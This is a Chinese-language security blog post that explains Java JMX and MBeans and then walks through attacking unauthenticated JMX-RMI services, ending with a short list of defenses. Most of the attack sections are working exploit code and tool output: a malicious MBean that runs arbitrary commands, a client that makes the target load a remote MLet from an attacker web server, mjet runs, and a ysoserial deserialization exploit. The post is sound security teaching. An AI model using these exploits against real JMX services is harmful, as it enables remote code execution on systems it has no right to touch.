Hu3sky's blog

JMX-RMI

Word count: 3,317 / Reading time: 16 min
2020/03/06 Share

JMX-RMI

以下来自wikipedia

1
JMX(英语:Java Management Extensions,即Java管理扩展),是Java平台上为应用程序、设备、系统等植入管理功能的框架。JMX可以跨越一系列异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用

jmx的分层体系结构

84317ae6d595e47a7a2eb6a2cbc8cc2a

托管Bean

Managed Bean,MBean,是一种通过依赖注入创建的JavaBean,如果资源是用Java开发的(或提供Java包装程序)并且已经过检测,因此可以由兼容JMX的应用程序管理,则该资源是可管理的。资源由一个或多个标准或动态MBean来检测

MBean有四种类型

  • 标准MBean:最简单的设计和实现。他们的管理界面由他们的方法名称描述。
  • 动态MBean:它们实现特定的接口,并且在运行时公开其管理接口,以实现最大的灵活性。
  • Open MBean:依靠基本数据类型实现通用可管理性的动态MBean;他们自我描述为用户友好。
  • 模型MBean:完全可配置且在运行时自行描述的动态MBean。它们提供了具有默认行为的通用MBean类,用于动态检测资源。

JMX标准在各种MBean类型之间有所不同,这里我们仅仅处理标准的MBean,要成为有效的MBean,Java类必须满足:

  1. 实现一个接口
  2. 提供一个无参构造函数
  3. 实现getter/setter方法

一个例子:

定义一个接口 HelloMBean.java

1
2
3
4
5
6
7
8
9
10
package com.hu3sky.hello;

public interface HelloMBean {
// getter and setter for the attribute "name"
public String getName();
public void setName(String newName);

// Bean method "sayHello"
public String sayHello();
}

接口的实现类 Hello.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.hu3sky.hello;

public class Hello implements HelloMBean {

private String name = "Hu3sky";
@Override
public String getName() {
return this.name;
}

@Override
public void setName(String newName) {
this.name = newName;
}

@Override
public String sayHello() {
return "hello: " + name;
}
}

MBEAN服务器:MBean服务器是管理系统MBean的服务。开发人员可以按照特定的命名模式在服务器中注册其MBean。MBean服务器将传入消息转发到已注册的MBean。该服务还负责将消息从MBean转发到外部组件

默认情况下,每个Java进程都在运行一个MBean服务器服务,我们可以使用访ManagementFactory.getPlatformMBeanServer();问该服务。以下示例代码“连接”到当前进程的MBean服务器并打印出所有已注册的MBean:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.hu3sky.hello;

import javax.management.MBeanServer;
import javax.management.MalformedObjectNameException;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import java.lang.management.ManagementFactory;

public class MBeanClient {
public static void main(String[] args) throws MalformedObjectNameException {
// Connect to the MBean server of the current Java process
MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
System.out.println(mBeanServer.getMBeanCount() );

// Print out each registered MBean
for(Object object : mBeanServer.queryMBeans(new ObjectName("*:*"), null))
{
System.out.println( ((ObjectInstance)object).getObjectName() );
}
}
}

8ef75b5a5b9bfc540382a0024f9f93ea

每个MBean都需要遵循对象名称约定的唯一名称。该名称分为一个域(通常是包)和一个对象名,比如这里我们看到的,对象名称应包含type属性

1
java.lang:type=Runtime

如何注册MBean

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.hu3sky.hello;

import javax.management.MBeanServer;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import java.lang.management.ManagementFactory;

public class MBeanExample {
public static void main(String[] args) throws Exception {
// Create a new MBean instance from Hello (HelloMBean interface)
Hello mbean = new Hello();

// Create an object name,
ObjectName mbeanName = new ObjectName("com.hu3sky.hello:type=HelloMBean");

// Connect to the MBean server of the current Java process
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
server.registerMBean(mbean, mbeanName);

for(Object object : server.queryMBeans(new ObjectName("*:*"), null))
{
System.out.println( ((ObjectInstance)object).getObjectName() );
}
// Keep the application running until user enters something
System.out.println("Press any key to exit");
System.in.read();
}
}

看看输出

a15a05e51e7f547dfb4fc0d0926af878

Jconsole

启动方法:
直接在命令行输入jconsole

访问MBean / JMX服务的最简单方法是使用JDK中的“ jconsole”工具。启动后,您可以连接到正在运行的Java进程并在“ MBean”选项卡中检查已注册的MBean。也可以获取/设置bean属性或调用诸如“ sayHello”方法之类的方法。
d044a6db1e99b54a26585b0e7cab3ac4

JMX CONNECTORS

如果要连接到在另一台服务器上运行的远程实例,则必须使用JMX连接器,JMX连接器基本上是一个客户机/服务器的Stub,它提供对远程MBean服务器的访问

默认情况下,Java提供一个基于Java RMI(远程方法调用)的远程JMX连接器。可以通过向java调用添加以下参数来启用JMX。

1
-Dcom.sun.management.jmxremote.port=2222 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false

这样,在连接的时候就能用JConsoleip:port的形式进行远程连接到该服务,同时此配置不安全:任何知道(或猜测)您的端口号和主机名的远程用户都将能够监视和控制您的Java应用程序和平台。此外,可能的危害不仅限于您在MBean中定义的操作。远程客户端可以创建一个javax.management.loading.MLet MBean并使用它从任意URL创建新的MBean,至少在没有安全管理器的情况下。换句话说,恶意远程客户端可能使您的Java应用程序执行任意代码。

nmap扫描端口情况
0f815a9797c6b6156d7a12d13ab31a24

攻击JMX

基于MLET

手动构建

“MLet”是管理applet的快捷方式
它使您可以“在来自远程URL的MBean服务器中注册一个或多个MBean”。简而言之,MLET是可以通过Web服务器提供的类似HTML的文件。一个示例MLet文件如下所示:

1
<html><mlet code="de.mogwailabs.MaliciousMLet" archive="mogwailabsmlet.jar" name="Mogwailabs:name=payload" codebase="http://attackerwebserver"></mlet></html>

攻击者可以托管这样的MLet文件,并指示JMX服务从远程主机加载MBean。

MBean javax.management.loading.MLetgetMBeansFromURL 方法
9bd86995feac8720f933e5ccab7657dd

编写恶意Bean的接口

1
2
3
4
5
6
package com.hu3sky.mjet;

public interface EvilMBean
{
public String runCommand(String cmd);
}

编写实现类,并将恶意bean和实现类的class文件打包到jar包里,这里我打包到compromise.jar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.hu3sky.mjet;

import java.io.*;

public class Evil implements EvilMBean
{
public String runCommand(String cmd)
{
try {
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(cmd);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
String stdout_err_data = "";
String s;
while ((s = stdInput.readLine()) != null)
{
stdout_err_data += s+"\n";
}
while ((s = stdError.readLine()) != null)
{
stdout_err_data += s+"\n";
}
proc.waitFor();
return stdout_err_data;
}
catch (Exception e)
{
return e.toString();
}
}
}

编写,RemoteMBean,使用JMX在目标服务器上创建MBean javax.management.loading.MLet的实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package com.hu3sky.remote;

import javax.management.remote.*;
import javax.management.*;
import java.util.*;
import java.lang.*;
import java.io.*;
import java.net.*;
import com.sun.net.httpserver.*;
public class RemoteMbean {
public static void main(String[] args) {
try {
connectAndOwn(args[0], args[1], args[2]);
} catch (Exception e) {
e.printStackTrace();
}
}

static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException {
try {
JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
System.out.println("URL: " + u + ", connecting");
JMXConnector c = JMXConnectorFactory.connect(u);
System.out.println("Connected: " + c.getConnectionId());
MBeanServerConnection m = c.getMBeanServerConnection();
ObjectInstance evil_bean = null;
ObjectInstance evil = null;
try {
evil = m.createMBean("javax.management.loading.MLet", null);
} catch (javax.management.InstanceAlreadyExistsException e) {
evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
}
System.out.println("Loaded "+evil.getClassName());
Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[]
{ String.format("http://%s:4141/mlet", InetAddress.getLocalHost().getHostAddress()) },
new String[] { String.class.getName() } );

HashSet res_set = ((HashSet)res);
Iterator itr = res_set.iterator();
Object nextObject = itr.next();
if (nextObject instanceof Exception)
{
throw ((Exception)nextObject);
}
evil_bean = ((ObjectInstance)nextObject);

System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName());
System.out.println("Calling runCommand with: "+command);
Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() });
System.out.println("Result: "+result);
} catch (Exception e)
{
e.printStackTrace();
}
}
}

创建mlet文件,并运行在4141端口上,可以直接用python -m http.server 4141来启动web服务

1
<html><mlet code="com.hu3sky.mjet.Evil" archive="compromise.jar" name="MLetCompromise:name=evil,id=1" codebase="http://127.0.0.1:4141"></mlet></html>

目标服务器上的JMX

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.hu3sky.hello;

import com.hu3sky.mjet.Evil;

import javax.management.MBeanServer;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import java.lang.management.ManagementFactory;

public class MBeanExample {
public static void main(String[] args) throws Exception {
// Connect to the MBean server of the current Java process
MBeanServer server = ManagementFactory.getPlatformMBeanServer();

for(Object object : server.queryMBeans(new ObjectName("*:*"), null))
{
System.out.println( ((ObjectInstance)object).getObjectName() );
}
System.out.println("Press any key to exit");
System.in.read();
}
}

  1. 运行JMX服务
  2. 将web服务打开,挂载melt文件
  3. 运行RemoteMBean,需要提供三个参数,targetip,target port(也就是远程开放的JMX端口),command
  4. 命令在JMX服务端执行
    b5c739332e1a938c6d5899f512b0720a

攻击流程:

  1. 启动承载带有恶意MBeanMLetJAR文件的Web服务器
  2. 使用JMX在目标服务器上创建MBean javax.management.loading.MLet的实例
  3. 调用MBean实例的 getMBeansFromURL 方法,并将Web服务器URL作为参数传递。JMX服务将连接到http服务器并解析MLet文件。
  4. JMX服务下载并加载MLet文件中引用的JAR文件,从而使恶意MBean可通过JMX使用。
  5. 攻击者最终从恶意MBean调用方法。

JMX连接源码分析

使用工具

或者可以使用工具,已经集成好的:https://github.com/mogwailabs/mjet

需要满足:

  • JMX服务器可以连接到由攻击者控制的http服务
  • 未启用JMX身份验证

第一个ip是targetip,运行着易受攻击的JMX服务,第二个ip是攻击者的ip,JMX服务将连接到攻击者的Web服务,以下载payload jar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
hu3sky@Hu3skydeMacbookpro > ~/IdeaProjects/JMX/mjet > /Users/hu3sky/jython2.7.1/bin/jython mjet.py 127.0.0.1 2222 install super_secret http://127.0.0.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://127.0.0.1:2222/jmxrmi
[+] Connected: rmi://192.168.1.3 2
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://127.0.0.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
127.0.0.1 - - [04/Mar/2020 10:14:36] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [04/Mar/2020 10:14:36] "GET /vspjiizb.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done

执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
hu3sky@Hu3skydeMacbookpro > ~/IdeaProjects/JMX/mjet >  /Users/hu3sky/jython2.7.1/bin/jython mjet.py 127.0.0.1 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://127.0.0.1:2222/jmxrmi
[+] Connected: rmi://192.168.1.3 3
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 6768
drwxr-xr-x 10 hu3sky staff 320 Mar 3 18:45 .
drwxr-xr-x 66 hu3sky staff 2112 Mar 3 14:49 ..
-rw-r--r--@ 1 hu3sky staff 6148 Mar 4 10:12 .DS_Store
drwxr-xr-x 7 hu3sky staff 224 Mar 4 10:10 .idea
-rw-r--r-- 1 hu3sky staff 593 Jan 19 18:19 JMX.iml
-rw------- 1 hu3sky staff 3452508 Mar 3 16:43 String
drwxr-xr-x 3 hu3sky staff 96 Jan 19 18:19 lib
drwxr-xr-x 10 hu3sky staff 320 Mar 4 10:12 mjet
drwxr-xr-x 3 hu3sky staff 96 Jan 19 18:28 out
drwxr-xr-x 3 hu3sky staff 96 Feb 28 18:16 src


[+] Done

防止手段 :

  1. 不要通过com.sun.management.jmxremote.port。这将启动仅本地的JMX服务器,您可以从com.sun.management.jmxremote.localConnectorAddress获得连接地址 http://docs.oracle.com/javase/6/docs/technotes/guides/management/agent .html
  2. 启用SSL客户端证书身份验证
  3. 启用密码验证并使用SSL
  4. 防火墙墙端口

在JMX/MBEAN级别上反序列化

基本思想是调用一个MBean方法,该方法接受String(或任何其他类)作为参数。正如我们在前面的示例中已经看到的那样,默认情况下,每个Java进程已经提供了几个MBean。一个好的候选方法是getLoggerLevel方法,该方法接受一个String作为参数。

d3fe634534a5072afac94883a6c9961b

攻击者无需传递字符串,而只需传递恶意对象作为参数即可。JMX使这相当容易,因为MBeanServerConnection.invoke被用于调用远程MBean方法方法需要通过两个array,一个是params,一个是signature

1
2
3
4
public Object invoke(ObjectName name, String operationName,
Object params[], String signature[])
throws InstanceNotFoundException, MBeanException,
ReflectionException, IOException;

这是使用mjet工具,并且本地jmx环境上有一个common-collections3.2的环境,同时需要攻击的mjet目录下有ysoserial.jar
2efec1d1db49f91be2a4ecb44bc7679e

ysoserial上的完整项目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package ysoserial.exploit;

import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;

import ysoserial.payloads.ObjectPayload.Utils;

/*
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
*
*/
public class JMXInvokeMBean {

public static void main(String[] args) throws Exception {

if ( args.length < 4 ) {
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
System.exit(-1);
}

JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");

JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();

// create the payload
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");

mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});

//close the connection
jmxConnector.close();
}
}

执行流程:

  1. 通过JMXServiceURL连接到目标JMX服务器并获取到jmx对象
  2. 创建恶意反序列化对象
  3. 通过mbeanServerConnection.invoke获取getLoggerLevel方法并传入生成的反序列化对象

或者直接使用ysoserial

1
java -cp ysoserial.jar ysoserial.exploit.JMXInvokeMBean 127.0.0.1 2222 CommonsCollections6 "open /Applications/Calculator.app/"

9e11d06d65568e70cdf16efa11ffd9e3

Reference

CATALOG
  1. 1. JMX-RMI
    1. 1.1. 托管Bean
    2. 1.2. Jconsole
    3. 1.3. JMX CONNECTORS
  2. 2. 攻击JMX
    1. 2.1. 基于MLET
      1. 2.1.1. 手动构建
      2. 2.1.2. JMX连接源码分析
      3. 2.1.3. 使用工具
    2. 2.2. 在JMX/MBEAN级别上反序列化
  3. 3. Reference